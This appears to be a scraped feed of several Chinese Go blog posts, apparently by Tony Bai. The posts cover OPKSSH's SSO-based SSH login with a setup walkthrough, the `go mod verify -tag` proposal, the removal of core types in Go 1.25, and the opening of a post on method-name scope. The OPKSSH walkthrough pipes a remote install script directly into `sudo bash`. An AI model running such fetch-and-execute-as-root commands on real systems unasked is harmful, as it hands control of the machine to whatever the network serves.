SSH开源，用SSO彻底改变SSH认证 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo安全版图再添利器：OpenPubkey SSH开源，用SSO彻底改变SSH认证 三月 31, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/03/31/openpubkey-ssh-open-source\n对于许多开发者和运维工程师而言，管理SSH密钥是一项繁琐且易出错的任务。正如SSH发明者、芬兰计算机科学家Tatu Ylonen所指出的，许多组织中过时授权密钥的数量甚至远超员工人数，这带来了巨大的安全隐患。现在，一个基于Go语言生态的创新项目——OpenPubkey SSH (OPKSSH)，旨在彻底改变这一现状。近日，随着Cloudflare将OPKSSH代码捐赠给Linux基金会下的OpenPubkey项目并将其开源，开发者们终于可以拥抱一种更便捷、更安全的SSH认证方式：使用熟悉的单点登录(SSO)系统。本文将简要介绍OPKSSH项目及其技术基石OpenPubkey技术。\n核心看点：OPKSSH 开源与价值解读 OPKSSH (OpenPubkey SSH) 是一个巧妙的工具，它将OpenID Connect (OIDC) 等现代SSO技术与SSH协议集成起来，其核心目标是消除手动管理和配置SSH公私钥的需求，同时不引入除身份提供商(IdP)之外的任何新的可信第三方。\n此前，虽然底层的OpenPubkey协议已于2023年成为Linux基金会的开源项目，但OPKSSH作为BastionZero（现已被Cloudflare收购）的产品，一直是闭源的。Cloudflare的此次捐赠，使得整个OpenPubkey技术栈的关键应用层实现也完全开放，这对于Go社区和整个基础设施安全领域都是一个重要进展。\nOPKSSH解决了什么痛点？ 通常，我们在进行远程服务器管理和运维操作时会使用SSH免密登录，即通过生成SSH密钥对并将公钥复制到远程服务器来实现。但这种传统方式的SSH密钥管理存在诸多问题：\n密钥分发与轮换困难：需要手动将公钥部署到目标服务器，密钥泄露或员工离职后的吊销流程复杂。 长期密钥风险：长期存在的私钥增加了泄露风险，一旦泄露，影响范围广。 可见性差：难以清晰追踪谁拥有对哪些服务器的访问权限，公钥本身缺乏身份信息。 这些问题常常困扰企业的IT运维团队和安全管理人员，他们需要确保访问控制的安全性和可管理性，同时降低操作复杂性和人力成本。\n那如何解决这些问题呢？OPKSSH带来了新的解决方案。\nOPKSSH如何解决这些问题？ OPKSSH基于OpenPubkey协议，带来了革命性的改进：\n使用临时性密钥(Ephemeral Keys)提升安全性 OPKSSH使用按需生成的临时SSH密钥对取代长期密钥。用户通过SSO登录后，OPKSSH自动生成有效期较短（默认为24小时，可配置）的密钥。这大大缩短了密钥泄露的风险窗口。\n通过单点登录(SSO Login)增强易用性 用户只需运行opkssh login，通过熟悉的IdP (如Google, Azure AD等) 进行SSO认证，即可自动获取所需的SSH密钥。无需手动生成、复制或管理私钥文件，即可在任何安装了opkssh的机器上进行SSH连接。\n通过Identity-based Auth提升可见性与简化管理 授权不再基于难以管理的公钥列表（比如~/.ssh/known_hosts），而是基于易于理解和审计的用户身份（如Email地址）。管理员只需在服务器配置中指定允许访问的电子邮件地址列表即可。\n到这里你可能会问：这么好用的OPKSSH是如何工作的呢？别急，我们下面就来介绍一下OPKSSH的工作原理。\nOPKSSH的工作原理 Cloudflare的文章中有一个很好的介绍Opkssh工作原理的例子和示意图，这里也借用过来：\n如图所示，当用户alice@example.com使用OPKSSH登录服务器，这个过程大致如下：\n用户本地执行命令opkssh login触发OIDC流程，用户向IdP认证。 OpenPubkey协议介入，在OIDC流程中巧妙地将用户临时生成的公钥与用户的身份信息绑定，生成一个PK Token(本质上是一个增强的ID Token，包含了公钥信息并由IdP签名)。 OPKSSH将此PK Token打包进一个临时的SSH 公钥文件（利用SSH证书的扩展字段）。 当用户发起SSH连接时，这个特殊的公钥文件被发送到服务器。 服务器配置了AuthorizedKeysCommand指令，调用opkssh verify(OpenPubkey验证器)。 验证器检查PK Token的有效性（签名、有效期、颁发者），提取公钥和用户身份(Email)，并根据服务器配置判断该用户是否有权访问。 关键在于，这一切无需修改现有的SSH客户端或服务器软件本身，仅需在服务器端sshd_config中添加两行配置即可启用，这个我们在本文后面会详细说明。\nOPKSSH的魔力源于其底层的OpenPubkey协议。OpenPubkey本身是一个基于Go语言实现的Linux基金会项目 (github.com/openpubkey/openpubkey)。\nOpenPubkey的核心创新在于，它通过一种客户端修改的方式，将用户持有的公钥(PKu)与OIDC的ID Token进行了加密绑定，而无需 OIDC 提供商(OP)作任何修改。这是通过巧妙利用OIDC流程中的nonce参数实现的。客户端不再生成完全随机的nonce，而是生成一个包含其公钥等信息的客户端实例声明(cic)，并将cic的哈希值作为nonce发送给OP。OP在签发ID Token时会包含这个nonce。这样，最终得到的PK Token就同时承载了OP 对用户身份的认证以及用户对其公钥的所有权声明（通过客户端的额外签名防止身份误绑定攻击）。\n这一机制将OIDC的认证模型从持有者认证(Bearer Authentication) 升级到了持有证明(Proof-of-Possession, PoP)。在Bearer模型下，任何窃取到ID Token的人都可以冒充用户；而在PoP模型下，用户需要证明自己持有与PK Token中公钥对应的私钥，从而有效抵御令牌重放(Token Replay) 和令牌泄露(Token Export) 攻击，安全性显著提高。\nOpenPubkey的设计还考虑了可扩展性，例如引入MFA-Cosigner概念，可以进一步增强安全性，甚至在OP本身被攻陷的情况下也能提供保护。关于OpenPubkey协议设计的详细内容，可以参见参考资料中OpenPubkey的论文，这里就不赘述了。\n了解了原理之后，下面我们来实际验证一下opkssh通过IdP实现SSO一键登录服务器的效果。\n使用opkssh实现免密登录服务器 这次验证的环境是这样的：\n客户端：macOS 服务端：Ubuntu 22.04.1 LTS IdP：microsoft (注：国内访问microsoft的服务器成功率高) 我们先来看看客户端的操作步骤：\n5.1 opkssh在客户端的操作 首先在客户端安装opkssh，你可以选择直接下载编译好的opkssh二进制文件：\n$curl -L https://github.com/openpubkey/opkssh/releases/latest/download/opkssh-osx-amd64 -o opkssh; chmod +x opkssh 由于opkssh是纯Go实现的，如果你本地有Go工具链，也可以选择通过源码安装(在国内，可能选择源码安装的速度更快)：\n$go install github.com/openpubkey/opkssh@latest 安装完成后，我们就来进行客户端的IdP认证。输入下面命令：\n$opkssh login INFO[0000] Opening browser to http://127.0.0.1:59638/chooser 该命令会打开本地浏览器，并展示下面页面：\n截止到目前，opkssh支持选择Google、Microsoft或Gitlab作为IdP，这里我们选择Sign in with Microsoft。\n之后浏览器将跳转到下面页面：\n这里使用我的Microsoft账号进行身份认证，点击“接受”，即完成认证，之后你可以关闭页面！\n而命令行也会提示下面信息：\nINFO[0002] listening on http://127.0.0.1:3000/ INFO[0002] press ctrl+c to stop Writing opk ssh public key to /Users/tonybai/.ssh/id_ed25519.pub and corresponding secret key to /Users/tonybai/.ssh/id_ed25519Keys generated for identity Email, sub, issuer, audience: bigwhite.cn@hotmail.com AAAAAAAAAAAAAAAAAAAAAP5YMhbf2Ufl_eI1PdK12VE https://login.microsoftonline.com/9188040d-6c67-4c5b-b112-36a304b66dad/v2.0 096ce0a3-5e72-4da8-9c86-12924b294a01 接下来，我们再来看看服务端要进行的操作与配置。\n5.2 opkssh在服务端的操作 在要登录的服务器端安装opkssh，由于安装后还要进行一些设置，我建议直接采用opkssh项目提供的安装脚本进行安装：\n$ wget -qO- \u0026#34;https://raw.githubusercontent.com/openpubkey/opkssh/main/scripts/install-linux.sh\u0026#34; | sudo bash Detected OS is debian Created group: opksshuser Created user: opksshuser with group: opksshuser Downloading version latest of opkssh from https://github.com/openpubkey/opkssh/releases/latest/download/opkssh-linux-amd64... opkssh 100%[========================================================\u0026gt;] 16.01M 83.4MB/s in 0.2s Installed opkssh to /usr/local/bin/opkssh Configuring opkssh: Creating sudoers file at /etc/sudoers.d/opkssh... Adding sudoers rule for opksshuser... Installation successful! Run \u0026#39;opkssh\u0026#39; to use it. 之后我们需要修改一下服务端的sshd server的配置。SSH服务器支持一个名为AuthorizedKeysCommand的配置参数，该参数允许我们使用自定义程序来确定SSH公钥是否被授权。因此，我们通过对/etc/ssh/sshd_config文件进行以下两行更改，将SSH服务器的配置文件更改为使用OpenPubkey验证程序而不是SSH默认的验证程序：\nAuthorizedKeysCommand /usr/local/bin/opkssh verify %u %k %t AuthorizedKeysCommandUser opksshuser 然后通过opkssh添加授权的用户，这些用户登录后将具备root用户权限：\n$opkssh add root bigwhite.cn@hotmail.com microsoft Successfully added new policy to /etc/opk/auth_id 最后重启一下sshd服务：\n$systemctl daemon-reload $systemctl status sshd 5.3 ssh登录验证 注：为了避免使用之前的ssh免密登录，可以在服务端将.ssh/authorized_keys中的公钥删除！\n服务端的opkssh命令行被sshd服务调用进行客户端验证时，会在/var/log/opkssh.log中打印相关日志，这也是opkssh起到作用的一个间接证明。\n我在客户端依然以原先的ssh登录命令尝试登录服务器：\n$ssh root@\u0026lt;your_server_ip\u0026gt; 我们在服务端opkssh.log中可以看到下面一些输出：\n2025/03/29 02:57:43 /usr/local/bin/opkssh verify root AAAAKGVjZHNhLXNoYTItbDUQAAABVwZXJtaXQtWDExLWZvcndhcmRpbmcAAAAAAAAAF3Blcm1pdC1hZ2VudC1mb3J3YXJkaW5nAAAAAAAAABZwZXJtaXQtcG9ydC1mb3J3YXJkaW5nAAAAAAAAAApwZXJtaXQtcHR5AAAAAAAAAA5wZXJtaXQtdXNlci1yYwAAAAAAAAAAAAAAaAAAABNlY2RzYS1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQSXO9YZhMPnGkYfnwpFu/HeX29s7q0l4lK5qCgvaeaWh3zBSidDh49Nirsu5Iwh7YVRkKMa5q+hhnJEFAh7FL5LAAAAZAAAABNlY2RzYS1zaGEyLW5pc3RwMjU2AAAASQAAACEAqD5msj3BsQhlpszOJHBoIcmK3Ex/BwyNWKHgp6labScAAAAgULO5naYi9xOmzrShcGiVIprRbdSvdWltioSVKu63h6Y= ecdsa-sha2-nistp256-cert-v01@openssh.com 2025/03/29 02:57:43 Providers loaded: https://accounts.google.com 206584157355-7cbe4s640tvm7naoludob4ut1emii7sf.apps.googleusercontent.com 24h https://login.microsoftonline.com/9188040d-6c67-4c5b-b112-36a304b66dad/v2.0 096ce0a3-5e72-4da8-9c86-12924b294a01 24h https://gitlab.com 8d8b7024572c7fd501f64374dec6bba37096783dfcd792b3988104be08cb6923 24h 2025/03/29 02:57:44 warning: failed to load user policy: failed to read user policy file /root/.opk/auth_id: error reading root home policy using command /usr/bin/sudo -n /usr/local/bin/opkssh readhome root got output Failed to read user\u0026#39;s home policy file: failed to open /root/.opk/auth_id, open /root/.opk/auth_id: no such file or directory and err exit status 1 2025/03/29 02:57:44 successfully verified 之后，我就成功登录到服务器上了！\n6.小结 OPKSSH 的开源是 OpenPubkey 项目和 Go 安全生态的重要里程碑。它不仅提供了一个解决 SSH 密钥管理难题的实用方案，也展示了 Go 语言在构建安全、可靠的基础设施工具方面的强大能力。\n我们鼓励对安全、身份认证和 Go 开发感兴趣的开发者们：\n试用 OPKSSH: 在你的开发或测试环境中体验 SSO 登录 SSH 的便捷。 关注 OpenPubkey 项目: Star GitHub 仓库，了解最新动态。 参与社区贡献: 通过 Pull Request、Issue 反馈、参与讨论等方式为项目贡献力量。可以在 OpenSSF Slack 的 #openpubkey 频道找到社区成员，或参加每月一次的社区会议。 随着 OPKSSH 的加入和持续发展，我们期待 OpenPubkey 能够在更多场景下发挥价值，例如代码签名 (Sigstore 集成)、端到端加密通信等，进一步丰富和巩固 Go 语言在云原生和安全领域的基础设施地位。\n参考资料 OPKSSH项目 – https://github.com/openpubkey/opkssh Paper: OpenPubkey: Augmenting OpenID Connect with User held Signing Keys – https://eprint.iacr.org/2023/296 OpenPubkey项目 – https://github.com/openpubkey/openpubkey/ Open-sourcing OpenPubkey SSH (OPKSSH): integrating single sign-on with SSH – https://blog.cloudflare.com/open-sourcing-openpubkey-ssh-opkssh-integrating-single-sign-on-with-ssh How to Use OpenPubkey to Solve Key Management via SSO – https://www.docker.com/blog/how-to-use-openpubkey-to-solve-key-management-via-sso/ Open Pubkey Frequently Asked Questions – https://www.bastionzero.com/openpubkey-faq Gopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Gopher的AI原生应用开发第一课”、“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/03/31/openpubkey-ssh-open-source/","summary":"\u003cp\u003eGo安全版图再添利器：OpenPubkey SSH开源，用SSO彻底改变SSH认证 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go安全版图再添利器：OpenPubkey SSH开源，用SSO彻底改变SSH认证"},{"content":"Go模块发布流程再加固：go mod verify -tag提案详解 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo模块发布流程再加固：go mod verify -tag提案详解 三月 28, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/03/28/go-mod-verify-tag\nGo模块(module)在Go 1.11版本中引入，显著简化了依赖管理，使开发者能够通过go.mod文件明确声明和管理库依赖，支持语义版本控制，并提高了构建速度和可移植性。使得Go语言的依赖管理更加现代化和高效，提升了开发者的体验。\n同时引入的校验和数据库 (sumdb) 也极大地增强了Go生态的依赖管理的确定性和安全性。然而，在模块作者发布新版本时，从本地代码库打上标签推送到代码托管平台，再到被Go Proxy和sumdb收录，这个过程中仍然存在一个微妙但关键的信任验证环节缺失。近期，Go团队接受了一项备受关注的提案(Issue #68669，旨在通过扩展go mod verify命令来弥补这一空白，为模块作者提供一种官方途径来验证他们本地的代码和标签确实与Go生态系统将收录的版本一致。在这一篇文章中，我就根据issue中的内容，来简单介绍一下这一新增安全机制的背景和运作原理。\n注：该机制的提案刚刚被Accept，尚未确定在哪个版本落地，不过大概率是在Go 1.25版本中。\n问题背景：发布过程中的信任鸿沟 当前，Go开发者在发布一个新的模块版本时，通常的流程是：\n在本地代码库完成开发和测试。 使用git tag (例如git tag v1.2.3) 创建版本标签。 使用git push –tags 将代码和标签推送到代码托管平台 (如 GitHub)。 等待Go Proxy (如proxy.golang.org) 拉取新版本，并将其信息提交给官方sumdb。 虽然sumdb保证了下游用户下载的模块代码未被篡改 (相对于sumdb中的记录)，但它无法保证sumdb中记录的版本就精确地是模块作者在本地打标签时所期望的版本。潜在的风险点包括：\n代码托管平台被篡改: 拥有强制推送权限的攻击者可能在标签推送后修改了标签指向的提交。 代码托管平台自身问题: 平台自身可能存在Bug或被攻击，导致返回给Go Proxy的代码与原始标签不符。 Go Proxy或sumdb问题: 尽管概率较低，但中间环节也可能存在问题。 正如提案贡献者和Go核心团队成员在讨论中指出的，目前缺少一个简单直接的方式让模块作者确认：“我本地标记为v1.2.3的代码，是否就是全世界通过Go工具链获取到的那个v1.2.3？”。\n提案核心：go mod verify -tag 为了解决这个问题，提案#68669建议为现有的go mod verify命令增加一个新的-tag标志。go mod verify命令目前用于检查本地缓存的依赖项是否被修改，而新的-tag标志则将关注点转向了当前模块本身。\n2.1 拟议的功能 $go mod verify -tag=\u0026lt;value\u0026gt; 其中 可以是：\n: 一个具体的 Git 标签，例如v1.2.3。命令将检查本地仓库中该标签对应的代码树，计算其哈希，并与sumdb中记录的该版本的哈希进行比对。 latest: 检查本地仓库中最新的Git标签。 all: 检查本地仓库中所有的Git标签。 2.2 核心价值与使用场景 发布后验证 (主要场景)：这是该提案最核心的预期用途。模块作者在推送标签后，可以立即运行此命令来确认他们的代码已经“安全”地进入了Go的模块分发体系，且内容无误。 # 假设已完成开发 $git tag v1.2.3 $git push origin v1.2.3 # 或 git push --tags # 关键一步：验证刚推送的标签 $go mod verify -tag=v1.2.3 这个操作还有一个重要的副作用：如果v1.2.3 尚未被Go Proxy和sumdb收录，运行go mod verify -tag=v1.2.3 会触发Go工具链去查询这个版本，从而加速它被Go生态系统发现和记录的过程，同时完成验证。\n安全审计与代码审查: 当需要对某个模块的特定版本进行安全审计或深入的代码审查时，可以使用此命令验证本地检出的代码副本确实是sumdb中记录的那个“官方”版本，而不是可能已被篡改的某个代码托管平台上的版本。 3 社区讨论与设计考量 在提案的讨论过程中，社区也探讨了该功能是否应该放在go mod verify命令下，因为它与验证依赖项的现有功能有所不同。一些替代方案被提出，例如创建一个新的子命令go mod verify-tags或go mod proxy -check=TAG等。\n最终，提案审查小组倾向于并接受了将此功能作为go mod verify的扩展，主要是考虑到：\n概念一致性: 虽然对象不同（当前模块 vs 依赖项），但核心都是进行某种形式的“验证” (verify)。 避免命令扩散: 增加标志比增加新子命令更轻量。 文档可更新: 可以通过更新go mod verify 的文档来清晰地说明其扩展后的功能范围。 需要注意的是，该提案主要解决的是模块作者验证自身发布的问题，与验证项目依赖项是否在源头（如GitHub）被篡改（例如Issue #66653讨论的情况）是不同的问题，尽管它们都属于Go模块供应链安全的一部分。\n小结 go mod verify -tag提案的接受是Go模块生态系统在安全性方面迈出的又一重要步伐。它为模块作者提供了一个简单、官方的工具来关闭发布流程中的一个关键信任缺口，增强了从代码编写到模块分发的端到端完整性保证。\n虽然具体的实现细节仍在进行中 (由 Issue #68669 跟踪)，但Go开发者可以期待在未来的Go版本中获得这一实用功能。这不仅有助于提升个别模块的安全性，也将进一步巩固整个Go生态系统的供应链安全基础。\n参考资料 Go Issue #68669: https://github.com/golang/go/issues/68669 – https://github.com/golang/go/issues/68669 相关变更CL: https://go.dev/cl/596097 – https://go.dev/cl/596097 Gopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/03/28/go-mod-verify-tag/","summary":"\u003cp\u003eGo模块发布流程再加固：go mod verify -tag提案详解 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go模块发布流程再加固：go mod verify -tag提案详解"},{"content":"Go 1.25规范大扫除：移除“Core Types”，为更灵活的泛型铺路 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo 1.25规范大扫除：移除“Core Types”，为更灵活的泛型铺路 三月 27, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/03/27/remove-coretypes-from-go-spec\nGo 1.18引入泛型无疑是Go语言发展史上的一个里程碑，它带来了类型参数、类型约束等强大的新特性。伴随这些特性，一个名为“核心类型”（Core Type）的抽象概念也被引入，旨在简化泛型初期的规范定义和编译器实现。\n然而，随着社区对泛型理解的深入和实践的积累，“核心类型”带来的复杂性和局限性也逐渐显现。近日，Go团队在提案#70128中正式决定，并已在开发分支中实施：将在即将到来的Go 1.25版本（预计2025年8月发布）中，从Go语言规范中移除“核心类型”这一概念。这项看似底层的改动，实则对Go语言的简洁性、易学性以及未来发展具有深远意义。\n关于Go 1.18泛型语法概念以及实现的详细说明，可以阅读我的《Go语言第一课》专栏中的“泛型篇”。\n“核心类型”：泛型时代的权宜之计 在Go 1.18设计泛型时，为了快速有效地更新语言规范以适应类型参数，Go团队引入了“核心类型”。这里对当前版本Go规范中对Core Types的说明进行了截图如下：\nCore Types概念的理解还是有门槛的，但结合泛型类型参数一起，简单来说就是：\n对于非类型参数的类型，其核心类型就是其底层类型。 对于类型参数，其核心类型是其类型集（Type Set）中所有类型共同拥有的**唯一*底层类型。如果类型集中类型的底层类型不唯一，则该类型参数没有核心类型。 例如，下面约束类型的核心类型是[]int：\ninterface{ ~[]int } 但对于下面约束类型Constraint：\ntype Constraint interface { ~[]byte | ~string Hash() uint64 } 由于其包含[]byte和string两种不同的底层类型，它便没有核心类型。\n这种设计在当时起到了“快捷方式”的作用，许多原先依赖“底层类型”的规范规则被直接替换为依赖“核心类型”。这在一定程度上简化了泛型引入初期的工作量。\n“权宜之计”带来的困扰 然而，“核心类型”作为一个抽象且有特定规则（尤其对channel、append、copy等有复杂调整）的概念，逐渐暴露出一些问题：\n过度限制: 基于核心类型的规则往往比基于类型集的规则更严格。例如，根据Go 1.24的规范，对类型参数为P Constraint (上文定义的Constraint) 的变量进行切片操作 (s[i:j]) 是不允许的，因为Constraint没有核心类型，即使切片操作对[]byte和string本身都是合法的。 增加认知负担: 开发者，尤其是初学者，在理解某些非泛型代码相关的规范（如切片表达式）时，也不得不去理解“核心类型”这个泛型相关的概念，增加了学习曲线。 规则不一致感: 像索引(a[x])、len、cap等操作的规则是基于类型集设计的（检查操作对类型集中所有类型是否有效），这使得它们看起来像是语言规则中的“特例”，而基于核心类型的规则反倒成了“常态”。 阻碍未来发展: “核心类型”的存在，使得一些本可以自然推广到泛型的特性难以落地。例如，提案#48522 设想允许访问类型集中所有结构体都共享的字段 (x.f)，但在核心类型的框架下显得格格不入。类似的，它也限制了更灵活的切片操作和类型推断改进的可能性。 Go 1.25的变革：回归清晰，拥抱未来 为了解决上述问题，Go 1.25选择了“移除核心类型”这条路径。具体的做法并非引入破坏性变更，而是：\n重写规范描述 将语言规范中所有依赖“核心类型”的地方，改用更明确、独立的语言来描述：对于涉及非泛型操作数的规则，回归到Go 1.18之前的、基于具体类型（如数组、切片、字符串、通道等）的描述方式。而对于涉及泛型操作数（类型为类型参数）的规则，添加专门的段落，清晰地阐述该操作在这种情况下需要满足的条件（通常是基于类型集的要求）。\n移除核心类型章节 从规范中彻底删除关于核心类型的定义和解释。\n例如，内置函数close的规范描述，在Go 1.18后是：\nFor an argument ch with core type that is a channel…\n而在 Go 1.25 中将回归到更简洁直观的形式（类似 Go 1.18 之前），并为泛型情况添加说明：\nFor a channel ch, the built-in function close(ch)…\nIf the type of the argument to close is a type parameter all types in its type set must be channels with the same element type. It is an error if any of those channels is a receive-only channel.\n关键在于，这次变更旨在清理和简化规范，本身并不改变任何现有Go代码的行为，保证了100%的向后兼容性。同时，编译器输出的错误信息也将更新，不再提及令人困惑的“核心类型”，并有望在某些场景下提供更具体、指向性更强的错误提示。\n对开发者的意义与未来展望 移除“核心类型”对 Go 开发者而言，短期和长期都带来了积极影响：\n更简洁的规范: Go 语言规范变得更加清晰、易于理解和学习，降低了心智负担。 清晰的边界: 非泛型代码的行为可以独立于泛型概念来理解，逻辑更自洽。 铺平道路: 这是最重要的一点。通过移除核心类型这个历史包袱和限制性框架，为未来Go语言在泛型领域引入更灵活、更强大的特性打开了大门。这包括：更灵活的泛型操作（如 #48522 提到的共享字段访问）、更强大的切片操作能力以及改进类型推断（如解决#69153 中的某些场景）。 值得注意的是，最初的讨论中曾考虑过伴随此次变更放宽一些语言规则（例如range对某些混合类型集的支持），但考虑到对现有工具链（如x/tools/ssa, vet分析器）的潜在影响以及某些场景下语义的复杂性（如range对[]byte和string的不同行为），Go团队最终决定本次Go 1.25的变更仅限于规范文本的清理和概念移除。这意味着，那些令人期待的语言灵活性提升，将作为独立的提案在未来版本中逐步引入。\n小结 Go 1.25移除“核心类型”是一次重要的“技术债务”清理，它简化了语言规范，降低了开发者的学习成本，并且最关键的是，为Go 泛型的未来演进扫清了障碍。虽然它不直接改变现有代码的行为，但其长远影响值得每一位 Go 开发者关注。让我们期待一个规范更清晰、未来可能性更广阔的Go语言！\n参考资料 Go语言规范 – https://go.dev/ref/spec Goodbye core types – Hello Go as we know and love it! – https://go.dev/blog/coretypes spec: remove notion of core types – https://github.com/golang/go/issues/70128 Gopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/03/27/remove-coretypes-from-go-spec/","summary":"\u003cp\u003eGo 1.25规范大扫除：移除“Core Types”，为更灵活的泛型铺路 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go 1.25规范大扫除：移除“Core Types”，为更灵活的泛型铺路"},{"content":"Go方法名的作用域：包级，但需间接调用 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo方法名的作用域：包级，但需间接调用 三月 24, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/03/24/understand-methodname-scope\n在Go语言中，作用域（Scope）决定了标识符（如变量、常量、函数、方法等）的可见范围。对于函数，我们熟知其包级作用域：包内任意位置可直接调用，首字母大写则可在包外调用。但对于方法名（Method Name），虽然其作用域同样是包级的，却需要间接调用——必须通过其关联类型（接收者类型）的实例来调用。本文将深入探讨这一关键区别，揭示Go方法名作用域的本质。\n注：在《Go语言第一课》专栏的第11讲中有关于Go代码块与作用域的全面系统地讲解，欢迎小伙伴移步阅读。\n函数：包级作用域，直接调用\nGo语言中的函数具有包级作用域，并且可以被直接调用。这意味着：\n包内任意位置直接调用： 在同一个包内的任何地方，都可以直接使用函数名来调用该函数，无需任何限定符。 包外调用（若导出）： 如果函数名首字母大写（即导出），那么可以在其他包中通过包名.函数名的方式调用该函数。 下面是一个简单的示例(比较简单，无需解释)：\npackage mypkg import \u0026#34;fmt\u0026#34; // 导出的函数 func ExportedFunc() { fmt.Println(\u0026#34;Hello from ExportedFunc\u0026#34;) } // 未导出的函数 func unexportedFunc() { fmt.Println(\u0026#34;Hello from unexportedFunc\u0026#34;) } func anotherFunc() { ExportedFunc() // 直接调用，无需限定 unexportedFunc() // 直接调用，无需限定 } 